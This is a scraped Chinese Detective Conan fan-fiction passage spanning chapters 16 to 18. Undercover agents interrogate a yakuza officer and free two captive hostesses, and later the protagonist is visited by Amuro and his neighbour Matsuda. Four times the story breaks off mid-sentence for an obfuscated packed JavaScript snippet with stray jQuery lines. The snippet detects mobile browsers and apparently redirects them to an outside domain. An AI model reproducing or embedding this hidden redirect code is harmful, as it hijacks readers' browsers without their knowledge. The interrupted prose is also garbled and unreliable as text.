排在首位的是一名银发男子,照片中的他穿着一身黑色大衣,眼神冷冽,散发着一种生人勿近的气息。
哇哦,是大哥。
静间遥继续往下翻阅。
接下来是一个方脸的男人,他身材壮硕,戴着一副墨镜。
是小跟班啊。
静间遥没再看下去,抽出了目标文件以及那几份意外发现的档案。
就在这时,一张照片从中间飘落了下来,他眼疾手快地接住。
这张显然也是偷拍的。
画面中央是一个背着吉他包的高挑男人,他穿着蓝色连帽衫,低压的兜帽遮住了大半张脸,只露出蓄了短胡茬的下颌。
静间遥捏着那张照片,静静地注视了几秒,将它收进了口袋之中。
-
“波本先生,你这话说得我就听不明白了。”
“哦?不明白?是我哪里讲得不够清晰吗?”
“哈哈,不是波本先生您的问题,只是我比较愚钝。”绵贯辰三干笑回应。
“我还以为绵贯干部是个聪明人……”
眼前人越是迂回,绵贯辰三的笑容就越是僵硬。
不能再等了。
只要解决眼前这个人,就再没人知道这一切。
就在他心念转动,即将行动时——
“砰!”
一声碎裂的轻响从不远处的玻璃窗传来,下一秒,两人之间茶几上的花瓶也应声炸裂。
碎片四溅,划过绵贯辰三的脸颊,留下了一道灼热的血痕。
他瞳孔骤缩,浑身僵直,连呼吸也几乎停滞,更不敢转头看向窗外。
是狙击手!
这附近根本没有高层建筑,最近的射击点也在800码之外……这种距离,怎么可能?!
远处,夜风拂过天台,轻轻卷起赤井秀一黑色的长发。
那双翡翠般的眼睛,始终透过狙击镜冷静地注视着窗内的动静。
修长的手指仍搭在扳机之上,纹丝不动,唯有嘴角勾起了一点极淡的弧度。
虽然不过是800码,但这一枪的手感极好。
狙击镜中,绵贯辰三的脸定格在了错愕之中。
他呆呆地抬起头,看着对面的波本。
绵贯辰三心里很清楚,那个狙击手,是组织的人。
对这突如其来的变故,安室透却像是早有预料,神色没有丝毫变化。
“绵贯干部。”他微微歪头,低笑两声,不紧不慢地起身。
在对方尚未回神的呆滞目光中,安室透慢步走近,利落抽出了对方别在腰间的枪。
枪在他的手中转了个圈,关上保险,枪口对准了绵贯辰三。
大门突然被打开,几名泥惨会的成员冲了进来。
安室透眼底的笑意渐浓,但绵贯辰三只感到了冰冷的寒意。
“现在,你听明白了吗?”
绵贯辰三点点头,用眼色示意部下。
部下瞬间会意,微微颔首,默默地退了出去。
安室透将这一幕尽收眼底,却只是轻嗤一声,收起枪做回原位。
他的坐姿很是恣意,一手搭在膝盖上,另一只手拿酒杯。目光专注地盯着那琥珀色的液体,像在欣赏什么稀世珍宝。
但绵贯辰三很清楚,这人自始至终连一口都没有喝。
他咽了口发干的喉咙。那一枪虽然骇人,却也让他奇异地冷静下来。
那名狙击手能在800码外精准地射中花瓶,取他性命自然易如反掌。既然现在还没有动手,就说明他暂时还有价值。
当务之急,是稳住眼前这个人,再等待部下去处理那名狙击手。
他脸上挤出笑容,拿起茶几上的另一瓶酒:“波本先生,您的意思我都明白了。不如,我们边喝边聊?”
安室透勾唇一笑,不置可否。绵贯辰三见状立刻上前,取来一只新的酒杯,为他斟上酒。
安室透的目光无声掠过酒瓶上的标签。
苏格兰。
绵贯辰三做出“请”的动作,这次安室透没有拒绝。
他拿起酒杯,对着灯光端详。酒色澄澈透明,泛着棕黄带红的光泽。他轻抿一口,醇厚的泥煤香在舌上漫开。
“好酒。”
绵贯辰三这才暗暗松了口气,举杯笑道:“波本先生要是喜欢,我这就为您备上几瓶,当作一点心意。”
“绵贯干部太客气了。”安室透的语气依旧平淡。
“哪里的话,这是应该的。”绵贯辰三知道对方是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460642|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同意了,立刻高声唤道,“田原!”
门应声打开,部下恭敬地鞠躬。
“去!把店里最好的苏格兰威士忌给波本先生备上!”
“是!”
绵贯辰三转回身,像是忽然想起什么似的,随意地开口:
“听闻贵组织都是以酒名为代号,不知是否也有以‘苏格兰’为名的一位?”
安室透低笑两声,眼底没什么温度。他淡淡地回答:“或许有吧。”
显然对方对这个话题不是很感兴趣。
绵贯辰三干笑两声,低头瞥了眼手表。
山田仁志怎么还没下来?派去处理狙击手的人到底得手没有?
安室透看着绵贯辰三游移的目光,不怀好意地勾唇问道:“绵贯干部,是在等什么吗?”
绵贯辰三的冷汗瞬间就下来了。
“不……没什么。”
-
赤井秀一侧身躲开呼啸而来的一拳,顺势扣住对方的手腕,猛地发力一抡——
最后一个泥惨会成员也被放倒在地。
昏暗的楼道间,早已横七竖八躺倒了数名泥惨会的成员。
他提前离开了狙击点,往俱乐部赶去。沿途中,他顺手处理了那些奉命派来搜寻他的人。
至于波本那边,他毫不担心。
早在过去的数次交锋与合作中他就清楚,这个自称“情报人员”的家伙,其体术与枪法绝不逊色于行动组的精英。
而现在,他还有更重要的事情要做。
靠近俱乐部,仍能看到门口的泥惨会成员。赤井秀一在远处架起枪,对着他们扣下了扳机。
远处的人影一个个倒下,他打开了耳麦:
“这里是莱伊,外围人员已处理完毕。”
-
安室透耳中的微型通讯器传来微弱的电流声,接着传来了莱伊冷静的声音。
他望向对面正强作镇定的绵贯辰三,嘴角微不可查微微一扬。
这位泥惨会干部难道天真地以为,一个狙击手会老老实实待在原地任人宰割?
“咚咚。”门在这时被敲响了。
绵贯辰三眼中陡然燃起希望。
是山田!他来了就可以扭转局势,拿下波本!那个狙击手现在自顾不暇,这就是最好的机会!
“进!”他甚至顾不上征求安室透的同意,迫不及待地应声。
然而当门打开时,他瞬间被浇了个透心凉。
站在门外的人身形高挑,几乎挡住了走廊所有的光线。
他身上那件黑色纱质的衬衫泛着微光,嘴角勾着若有若无的弧度,那一双灰蓝的眼睛在阴影中格外清晰。
是之前在走廊里遇到的那个男公关。
不知为何,绵贯辰三觉得那抹笑意莫名的熟悉……
是了,那笑容与此刻坐在对面,从容不迫地望着他的波本如出一辙。
他的视线下意识向下扫去,随即浑身一僵:
他的所有部下,如同被收割的麦秆,无声无息地倒了一地。
是什么时候的事?他居然没有听到任何打斗或者呼救的声响。
目光再度回到门口的青年脸上,绵贯辰三终于后知后觉地意识到:
这个人根本不是什么男公关。
他是组织的人。
16. 曙光
绵贯辰三的目光紧盯那个男公关。
男公关走向波本身边,从腰间抽出了一叠文件,递到对方的手中,随后安静地退到在对方的身后站定。
波本接过资料,漫不经心地翻了翻。
“看来,绵贯干部确实对我们有一些了解。”安室透扫了眼资料上琴酒的照片,“但显然,你低估了我们。”
绵贯辰三顿时知道了那叠资料是什么,整个人顿时像个泄了气的皮球,一下瘫在沙发上。
山田仁志已经不会下来了。完了,已经全完了。
“你们想知道什么?”
“那就要看绵贯干部你知道些什么了。”安室透轻晃手中的资料,“比如,关于这些东西的来历。”
静间遥强迫自己不去看那晃动的资料,死死盯着对面的绵贯辰三。
“说完之后,你们会杀了我?”绵贯辰三眼神空洞,已经失去了所有的希望。
安室透低笑几声,“怎么会?我们还指望与绵贯干部你,继续保持良好的合作关系呢。”
绵贯辰三盯着安室透数秒,似乎在确认他的话的真实性。
过了会儿,他稍稍松了口气,终于妥协似的将自己知道的情报和盘托出。
“原来如此,我明白了。”安室透缓缓站起身,单手按胸,彬彬有礼地欠身,“感谢你的坦诚,绵贯干部。”
“你为我们……节省了不少时间。”
话语落下,他也没再看绵贯辰三究竟是何种表情,径直向外走去。
静间遥紧随其后,在出门瞬间,仿佛感应到什么似的倏地回首。
绵贯辰三见他们即将离开,蠢蠢欲动,却猝不及防对上一双冰冷的眼睛。他被吓得一激灵,慌忙讪讪一笑。
静间遥又扫了眼他,才快步跟上安室透。
走出一段距离后,静间遥才稍微放松了些,小心翼翼地观察着神情严肃的安室透。
他听从嘱咐,几乎憋了一整天没说话。
现在,任务算是完成了吧?可以说话了吗?
安室透察觉到了他的目光,微微一笑:“已经可以说话了。”
静间遥眼睛一亮。
降谷零好厉害!他怎么知道自己在想什么!
“前辈好厉害!你怎么知道我在想什么!”静间遥心口合一,语气中带着明显的喜悦。
因为你的心思都写在脸上了。安室透想。
他没有回答,问起了另一个主要任务目标:“山田仁志在顶楼吗?”
“在!”
“解决了?”
“嗯!绑起来了。”
安室透一愣,停下了脚步,转向身边的人。
“绑起来?”
“嗯。”静间遥也跟着停了下来,“怎么了吗?”
“你……”安室透看着那略显迷茫双眼,一时有些语塞。
这次的任务他事先通知了公安,计划事后将这个窝点一网打尽。正因为如此,他才特意留下了绵贯辰三的性命。
但对于山田仁志,他原本并未抱希望能够将其活捉。
他预料到了山田仁志会出现,也相信雨宫裕之能解决对方。
但他没料想到的是,雨宫裕之并没有下杀手。
安室透叹了口气问:“田纳西,你认为‘解决’是什么意思?”
“放倒?”静间遥配合地做了个过肩摔的动作。
果然,他根本没明白自己的命令究竟是什么。
安室透无奈道:“是‘杀掉’。”
“啊。”静间遥这才恍然大悟。
因为他一直清楚降谷零是公安警察,下意识地把他的目的与公安的利益最大化联系到一起。
但他忘记了,此刻的降谷零是以组织成员波本的身份在说话。
他对另一个组织成员说的“解决”,又怎么可能是“放倒”呢?
“前辈,对不起……”静间遥低下头。
安室透一时不知道该怎么面对这个道歉。
作为波本,他并没有生气的理由。
因为雨宫裕之的主要任务是获取资料,而不是灭口。
作为降谷零,他却暗自庆幸山田仁志还活着。
只有这样,才能从他口中撬出更多有用的情报,让他接受法律的审判。
雨宫裕之不仅完成了任务,甚至让山田仁志活了下来。
他什么也没有做错。
然而,此刻的他却在向着自己道歉。
他应该以何种表情,用什么样的话语来回应他呢?
安室透一时没有答案。
“波本,尽快撤离,警察快到了。”耳麦中适时响起了莱伊的声音。
因为伪装身份的需要,安室透这次并没有让雨宫裕之佩戴通讯器。
他跳过了先前的话题,转述着内容:“警察快来了,我们得尽快撤退。”
静间遥点了点头,紧随安室透走向出口。
却没想到,在前方转角处险些撞上人。
安室透瞬间警觉。
静间遥却更快抬手,将他护在身后,摆出防御姿态。
却在看清来人后,歪了歪头。
是之前遇到的那两个女生。
-
“今天……是不是有些奇怪?”夏奈在休息室里望着镜子里的自己,突然发问。
“嗯……确实。”柚子左右张望,休息室里只有她们两人,“今天好像格外安静?”
夏奈想到了之前那个特别的男公关。
心中若有所感,鼓起勇气站起身,走出了休息室。
“欸!夏奈你去哪儿?”柚子急忙跟上。
她们在走廊中走过,竟然没有任何看见一个人。夏奈大着胆子推开了一个包间的门,看见里面横七竖八倒在地上的打手。
“啊……”柚子探头一看,惊讶地捂住嘴。
她们对视一眼,一个被深埋心底的念头同时苏醒。
现在正是逃走的好时机。
她们毫不犹豫地脱下高跟鞋,赤着脚踩在柔软的地毯上,手拉着手在走廊中奔跑。
如同预想一般,她们没有遇上任何阻拦。
微风撩起头发,夏奈感受到自己的心脏在砰砰地跳。她不禁构想起未来的美好蓝图。
出去以后,要做些什么呢?
她要和柚子远离这个吃人的地方,在宁静的乡下开一家花店,或者是一家温馨的简餐小店。
柚子的厨艺很好,总能做出让人感到幸福的食物。
她也能帮忙做些简单的炒切,给柚子当个得力助手。
她最喜欢摆弄花草,一定要在小店的每个角落都摆上鲜花和绿植,让每一位客人都感受到它们的生机。
清晨的阳光会透过干净的玻璃,洒在摆放整齐的桌椅和新鲜的花束上。
一定会有很多人喜欢她们的小店。
自由的大门近在眼前,心中的希望如同火苗般燃烧地愈发热烈。
然而就在此时,她们却险些与两个人迎面撞上。
“对不起对不起!”夏奈甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460643|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至没有看清人,就本能地抱住柚子,大声道歉,“我们!我们没有想要逃跑!”
怀中的柚子却偏了偏头,拍了拍她颤抖的手臂。
“是之前那个男公关。”她小声地说。
夏奈慢慢将眼睛睁开一条缝,小心翼翼地看向对面。
果然是之前的那个男公关,他的身旁还站着另一个深肤的男人,样子也像个男公关。
那个深肤男公关友好地向她们笑了笑。
夏奈这才完全睁开眼,松了口气,缓缓松开了抱着柚子的手。
看到两个女生放松下来,静间遥也不自觉带上了笑容。
他轻声说道:“快走吧,警察快要来了。”
夏奈和柚子点点头,“谢谢!辛苦了!”
她们再次向外跑去。
俱乐部外依旧霓虹闪烁。
但这一次,在没有什么能阻挡她们的脚步。
她们终于逃出了这个囚禁她们多年的牢笼,奔向属于她们的曙光。
静间遥目送她们离去,心里有些疑惑。
为什么要对自己说谢谢?除了打晕那群打手,他分明什么也没做。
过了会儿,他才后知后觉想起安室透。
得向他解释清楚!
“那个,她们只是普通的女公关,什么都不知道!放她们走应该……没关系吧?”
他有些心虚,小心地抬眼观察着对方的表情,却见安室透只是沉默着看自己。
所以这意思是可以放走,对吧?
“田纳西,我们得赶紧离开了。”安室透绽放出更灿烂的笑容,“我并不想被警察请去喝茶。”
静间遥看着那赏心悦目的笑容,悄悄在心里嘀咕:明明你也是警察……
随即他又立刻意识到,该害怕的应该是自己,于是赶紧加快脚步朝着出口走去。
“好的前辈!走走走!”
来到撤离点,赤井秀一早就在车边等候。
他指尖的香烟已经燃烧了一半,白雾融入夜色中。
见他们来了,他立刻将烟蒂摁灭在灭烟袋中。
“该走了。”
赤井秀一正要走向驾驶位,却被安室透抢先一步。他挑了挑眉,自觉地坐进了后座。
静间遥犹豫了一下,还是选择坐到了副驾驶上。
他实在不想和组织成员坐在一起。
他认真地系上安全带,正襟危坐。
降谷零开车的目的是快速撤离,让他开慢点是不可能的。
又要体验降谷零的车技了吗?有意思。
静间遥破罐子破摔。
安室透确认他系好安全带,立刻拧钥匙,挂档,踩下油门。
车辆如离弦之箭飞驰,窗外的景色迅速倒退。
后视镜中,俱乐部的轮廓逐渐缩小。与此同时,几辆闪着红蓝/灯光的警车也在从另一个方向朝那驶去。
随着车辆加速,静间遥就有些想吐。
他有气无力地盯着后视镜,忽然感觉一阵清风拂面,身旁的车窗在自顾自地缓缓下降。
咦……?
他歪头倚靠着车窗,望向右侧驾驶座上的安室透。
安室透仍然专注地目视前方,棱角分明的侧脸在流动的光影中忽明忽暗。
静间遥头晕脑胀,没法仔细思考,只觉得今天的安室透有些奇怪。
为什么呢?
后座上的赤井秀一抱臂观察着两人,敏锐捕捉到了气氛与之前的奇妙差异。
Ho——
17. 登门
车辆仍行驶在夜色之中,只是速度比起初放缓了许多。
莱伊早在确认周边安全后就下了车,此刻车上只余下了静间遥与安室透两人。
这次的任务之中,安室透并没有特地去试探雨宫裕之。但是也是在这次,他终于抛却先入为主的印象,真正地看到了这个人本来的样子。
善良,坚守自己的底线。不会滥杀无辜,也始终对他人抱有一份善意。
这样的特质,本不该属于一个组织成员。
但是,像雨宫裕之这样的人,原本就不该存在于组织之中。
同时,安室透注意到,他对组织的人,比如莱伊,始终保持着警惕。
他会刻意避开莱伊的接触。
例如,在酒吧的时候。又如,在刚刚上车选座位的时候。
那么,对自己呢?
安室透有些困惑。
为什么,唯独没有避开他?
车辆逐渐接近交通枢纽,安室透忽然想起之前房子被烧的事。
说起来,他还不知道雨宫裕之现在住在哪。
他开口询问:“送你到哪儿?”
“地铁站就好,谢谢前辈。”
这似曾相识的对话也让静间遥想起了之前的经历。
“房子找得怎么样了?”安室透接着问。
“已经找到了,过一阵子就搬进去。”静间遥身体还是有些不舒服,他悄悄望向安室透的侧脸。
不知为何,注视着对方似乎让晕车的感觉缓解了些。
原来真的找到房子了。安室透心想。
他还以为雨宫裕之会暂时住在酒店。
之前看他对那栋烧毁的房子的重视程度,以及提到要住酒店时的痛苦表情,安室透还以为他对居住环境的要求会比较苛刻。
“最近暂时租房子住吗?”安室透注意到了他的视线,却装作浑然未觉,目光依旧专注地投向前方。
“嗯。”静间遥点了点头,“恰好找到了。”
完全是有问必答,真不怕自己会对他不利啊。安室透在心中失笑。
“搬家需要帮忙吗?”
自己一个人搬家的话,会很辛苦吧。
帮他搬家的时候,顺便找找到他失忆的线索,说不定还能找到和真正的田纳西有关的信息。
“不麻烦前辈啦,我朋友说会帮我搬家。”
??????
安室透突然踩下刹车,轮胎摩擦地面发出了刺耳的声响。
朋友?
什么朋友?失忆的雨宫裕之哪来的朋友?
车身微微一顿,静间遥随着惯性往前一晃。车被停在了地铁入口附近。
什么?静间遥脑袋一晕,满头问号。
“欸——”安室透勾起嘴角,转头看向他。
“雨宫君的朋友啊……我还以为,我也算是其中之一呢。”
“不、前辈是、前辈也是我的朋友!”静间遥脑子还没有很清晰,听到安室透的疑问慌忙解释。
“是这样吗?”
安室透微微垂下头,地铁口的灯光打亮了他金色的发丝。在阴影下的睫毛微微轻颤,灰紫的眼眸隐隐有些悲伤。
“那为什么,雨宫君搬家却不让我帮忙呢?”
静间遥感觉自己的脑子好像有些不清醒,为什么自己每次看到降谷零这副样子,都会忍不住地去答应他?
坚持住啊!静间遥!底线何在?原则何在?相机又何在?
真好看,想拍一张。
“没有不让帮忙。只是觉得,我不应该打扰前辈。”静间遥小声地说。
“为什么会这么觉得呢?”安室透对这个原因有些好奇,就像好奇他为何对自己没有防备心那般。
“因为……”静间遥声音越说越小。
“什么?”安室透没有听清。
“因为我觉得,前辈你有更重要的事情要做!”静间遥稍稍提高了音量,“而不是,放在我这种人身上!”
比如组织的情报,又比如公安的任务。
什么叫作,“我这种人”?
安室透心里隐隐有了个猜测。
雨宫裕之,他一直把自己当作“田纳西”本人吗?
组织的手段?洗脑?暗示?还是别的什么?
自身理念与当下身份的冲突,或许让他一直感到痛苦。毕竟也不是他自己想要杀人的。
好像不能继续这样下去了。该告诉他吗?他自己究竟是谁。
“你……”
“咚咚。”车窗被敲响了。
两人同时看向窗外。
窗外一名女交警板着脸,表情有些严肃。
安室透打开了车窗。
交警小姐语气严厉:“这里即停即走,不能停这么长时间。”
“抱歉抱歉!”静间遥慌忙想要解开安全带,却怎么也打不开。
安室透也抱歉地对着交警笑了笑,然后抓住静间遥慌乱的手,帮他解开了安全带。
“警官,抱歉!”静间遥再次对那位交警小姐说。
他下车后,对着安室透挥挥手:“安室先生,再见!”
安室透也挥了挥手。
他与那位交警小姐目送他远去,然后交警小姐的视线落到了他的身上。
他勾起嘴角微微一笑,“我马上就走。”
-
黑暗中,大门被打开。缝隙中挤进了一束光,又很快被赶了出去,房间重回黑暗。
静间遥瘫倒在沙发上,盯着漆黑的天花板。
降谷零那个时候想说什么?
这一次后,为什么他的态度又变得不一样了?
他做了什么吗?
静间遥回想着这次的任务,记忆碎片在脑海中闪过。
他没有杀了山田仁志,还放跑了两个女公关。
他没有完成降谷零交给他的任务,还出了额外的纰漏。
他好像做错了,但好像又没有做错。
好复杂。
“啊——”
不想继续想了,去洗个澡吧。
虽然之前的那身衣服在车上就换掉了,但是头发上还留有发胶,有点难受。
他鲤鱼打挺,一一掏出口袋里的东西。
拿出那张蓝色兜帽男人的照片时,他忍不住又多看了几眼。
之前看清这张照片时,他几乎立刻想起了这个人是谁。
他记得他的名字,因为他的名字在“剧本”里也出现过。
诸伏景光,苏格兰。
【“就像……你当初处决苏格兰那样。”】
降谷零曾经说过,是“他”处决了这个人。
说那句话的时候,降谷零虽然面上是笑着,但静间遥总觉得他在愤怒,在难过。
之前他有些疑惑,为什么降谷零会有这种情绪?
但当他拿到这张照片,想起“剧本”的内容时,他终于明白了理由:
这个人是个公安警察,是降谷零的同僚。
所以,他当初才会那么对自己说,才会有那种微妙的情绪。
因为,这是“他”曾经做过的错事。
《证人保护计划
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460644|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
》暂且不说了,现在更重要的是,自己应该要怎么赎罪呢……
静间遥脱下了衣服,走进浴室。
-
“下午好。”
金发深肤的男人微笑着和静间遥打着招呼。
静间遥则看着门外的人,心嘎巴一下死了。
“下午好,安室先生。”他侧身让安室透进来,动作僵硬地为他端上一杯凉白开。
不对不对不对吧?他根本没和安室透说过自己搬到哪里住了!!!他怎么找上门来的?
组织情报网?还是公安?
而且他之前对他说过,不需要在他身上浪费时间。
自己身上根本没有什么情报值得他去探索。
甚至自从找到新居后,他要么是去监工修缮进度,要么就是在家休息,甚至连饭都是自己做!!!
他简直安分得不能再安分,安室透为什么会找上门来?
“我没有打扰你吧?”安室透递过来一盒简单的茶点。
哦,我的天哪,他居然还要这么问自己。
“当然没有,我这里随时欢迎前辈。前辈来我已经很开心了,还带什么伴手礼,哈哈哈前辈你也太客气了没必要这样的……”
他确实没什么事!但是降谷零你有吧!!!打两份工的靠谱男人!
安室透端起水杯喝了一口,环顾四周打量了一番,“其实这套租住的房子也挺不错的。”
“对啊对啊,周围的设施也很完善,离地铁口也近,而且采光也不错,最重要的是从来没有发生过……”静间遥顺嘴就说了下去,意识到自己说了什么赶紧住嘴。
其他人找房子也不会特地去问这个,自己说出来会不会有点奇怪?
“没有发生过什么?”对方话语的戛然而止勾起了安室透的好奇心。
“……凶杀案。”静间遥叹气,破罐子破摔。
“嗯?为什么会在意这个?”
静间遥面露苦色,艰难开口:“因为我找到的大部分房子,都经历过凶杀案。”
是这样吗?自己找房子的时候好像没有这个情况。
安室透欲言又止,止言又欲。
或许真是的因为雨宫裕之太倒霉了。
“但是,现在找到了合适的不是吗?”安室透安慰道,“恭喜。”
提到这个静间遥倒是开心了许多。他又想到了之前遇到松田阵平的那个午后。
“是啊,多亏了朋友,这是他介绍给我的。”静间遥笑着说。
朋友。
又是朋友。
“欸——真好啊,能被雨宫君一直提起。”安室透勾起嘴角,“雨宫君的这位朋友,是个什么样的人呢?”
“是个好人!”
安室透耐心地等待着下文,却发现对面的人认真地说完这句话后,就没有继续说下去的意图。
……?
“是个什么样的好人呢?”安室透继续追问。
静间遥歪头思考。
一头卷毛,看起来有些严肃,但又心地善良,勇敢正义的好人?
他在心中勾勒出松田阵平的形象,仿佛这个人物完全浮现在眼前……
然后,他就真的看见松田阵平推开了大门,出现在视线之中。
“雨宫,你怎么没、没锁门!”松田阵平进门瞥到沙发上的另一个熟悉的身影,微微瞪大了眼,险些咬到舌头。
安室透也短暂地愣了一下,迅速敛起惊讶,微微一笑。
松田阵平看到这个笑容,更是猛地倒吸一口凉气。
见鬼了?!
18. 拜访
松田阵平今天下午正好轮休。
离开前,他还不忘对着仍需要值班的萩原研二得意地笑了笑,在好友哀怨的目光中踏出了警视厅。
他回到家门口,正想掏出钥匙,就瞥见隔壁雨宫裕之的家门虚掩着一条缝。
这家伙,是不是有点太没防备了?
他想了想,决定不敲门直接进去,正好吓唬一下这个迷糊的家伙,让他长长记性。
结果推开门后,他不仅看见了雨宫裕之,还在沙发上看到了另一个,他怎么也想不到会出现在这里的人。
金发深肤,灰紫眼眸,面容可恨。
——降谷零。
松田阵平刹那间以为自己是在做梦。
否则,他怎么会在朋友的家里,看到那个毕业后就几乎音讯全无、消失了许久的金毛混蛋?
他们上一次见面,还是在半年前某次突发事件的现场,自那以后他们再没有见过面。
松田阵平心里很清楚,他是去执行卧底任务了。
但他没有想到,他们的再一次相见会这么突然。
那么,他在这里做什么?
松田阵平抱臂坐在沙发上,严肃地打量着对面的安室透。
安室透回以和善的微笑。
松田阵平眼皮一跳,突然感觉自己的眼睛好像有点疼。
安室透也同样没想到会在这里见到松田阵平。
就在前一晚,他冷静地想过,还是不能告诉雨宫裕之他自己是谁。
雨宫裕之是日本公民,安室透确实考虑过帮他脱离组织。
可一旦点明雨宫裕之的身份,他在雨宫裕之眼里的身份也会彻底转变。
他相信雨宫裕之本性善良,也愿意为他保密。
但是,雨宫裕之的演技实在是肉眼可见的糟糕,在成功帮他脱离组织前,谁也无法保证会不会发生什么意外。
数年的卧底的生活让他学会了谨慎,要考虑到所有情况,做好最坏的打算。
如今组织里只剩他一个人了,绝对不能出任何差错。
在做好一切的计划前,没有必要告诉雨宫裕之这一切。等他真正脱离这里,再告诉他也不迟。
更何况,他也想弄清楚,雨宫裕之他到底经历了什么?真正的田纳西又在哪里?
他提到的“朋友”,又是什么人?
出于这样的考量,他通过公安信息网,找到了雨宫裕之的租房信息,今天特地前来拜访。
如预料中一样,雨宫裕之并没有问自己为什么会知道他的住处。
只是没想到,今天还会有这样的意外发现。
安室透紧盯着对面突然冒出来的卷毛。
静间遥看了看身旁脸色紧绷的松田阵平,又看了看笑容温和的安室透,隐约发觉气氛有些不对劲。
哪来的火药味?
“那个……安室先生。”静间遥主动向安室透介绍,“这位就是我的朋友,松田阵平。”
安室?松田阵平挑眉。
“松田哥,”静间遥又转头向松田阵平介绍,“这位也是我的朋友,安室透。”
松田“哥”?安室透的笑容愈发灿烂。
“你好,松田君。”
“你好,安室君。”
两人几乎是咬牙切齿地说出问候,握手的瞬间都不约而同地加重了力道。
所以这个金毛/卷毛混蛋!到底为什么会在这里啊!
“不好意思,我是不是打扰到你们了?”松田阵平脸上挂着笑,太阳穴却突突地跳。
静间遥正想要解释:“安室先生只是……”
“不,完全没有。”安室透微笑着打断他的话,“我只是顺路来拜访雨宫君罢了,仅此而已。”
“倒是松田君,是有什么要紧的事吗?可别耽误了你的正事啊。”
静间遥又想开口解释:“因为松田哥他……”
“啊——因为我正好住在隔壁。”松田阵平抢过了话头,“看到好友的门没有关,特地来提醒一下他注意安全而已。”
“毕竟这世道,什么人都有嘛。”
“原来如此,真是个好邻居呢。”
静间遥的目光在两人间转来转去,疑惑地歪了歪头。
他们俩该不会是认识的吧?
毕竟他们年龄相仿,还都是警察。
“啊!对了!你们要吃蛋糕吗?”静间遥试图缓解有些奇怪的气氛,提起了今天买的蛋糕。
他依然不太喜欢蛋糕上奶油,那味道过分甜腻,他对此敬谢不敏。
但是去除奶油后,那家蛋糕胚的味道确实松软香甜,很符合他的喜好。
而这个蛋糕并非是他特意去买的,只是一个意外。
自从前几天获得那张照片后,他一直在思考自己应该怎样才能赎罪。
思来想去,最后得出的结论是:
尽量协助降谷零,直到组织彻底覆灭,然后自己再自首。
以命抵命的办法太过狡猾,而且他的身手还算不错,至少还能为降谷零提供一些实质性的帮助。
就算他不能走到最后,至少也能让降谷零走得更远。
但他仍无法摆脱对苏格兰之死的自责。
如果自己能早一些来到这个世界,是不是就有可能阻止那场悲剧了呢?
可惜凡事没有如果。
今天早上出门晨跑时,这个念头又一次浮现在他的脑海中。
他这样想着,路过那家蛋糕店时,又被那勾人的味道吸引。
记忆中似乎有人曾经对他说过:
【如果心情不好,吃点甜的就会好起来。】
虽然他自己向来只吃蛋糕胚,剩下的部分总是会推给那个人。
印象中的那个人倒是很嗜甜,也总是默不作声地接受了。
现在想来,他之前会下意识地买蛋糕,大概就是因为他吧。
静间遥从冰箱里拿出蛋糕,分装在碟子里,依次放在了松田阵平和安室透的面前。
“这家蛋糕店真的很不错,特别好吃!”他一边说着,一边用勺子撇去上方的奶油。
松田阵平看着他动作叹了口气。
安室透舀起一勺送入口中,品味后称赞道:“确实很美味。口感绵密,甜度恰到好处。”
“是吧!”静间遥眼睛顿时亮了起来,“这家蛋糕店的蛋糕胚特别松软,奶香味十足。每次路过那里我都会忍不住想要买……”
松田阵平听着两人的谈话半月眼,也浅尝了一口。
他本身对甜食没什么兴趣。
不过这家蛋糕店,雨宫裕之先前倒是有在发邮件的时候提到过。
只是没想到,降谷零居然还能作出这样的评价。
以前的他不是对料理没什么兴趣吗?现在他能这样侃侃而谈,结果还是去学习料理了吧。
呵,也不知道几年前是谁大言不惭地说绝对不学做饭的。
之后的气氛变得自然了许多,三人有一搭没一搭地聊着日常。
从周边的美食小吃,到清理厨房顽固污渍的小窍门,最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460645|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后又拐到冰箱坏了如何修理上。
夕阳西沉,两人一同告别了静间遥。
安室透拐入楼道,耐心等待了几分钟。
确认了雨宫裕之的房门关上之后,他又再次回到走廊中,停在了隔壁的门前。
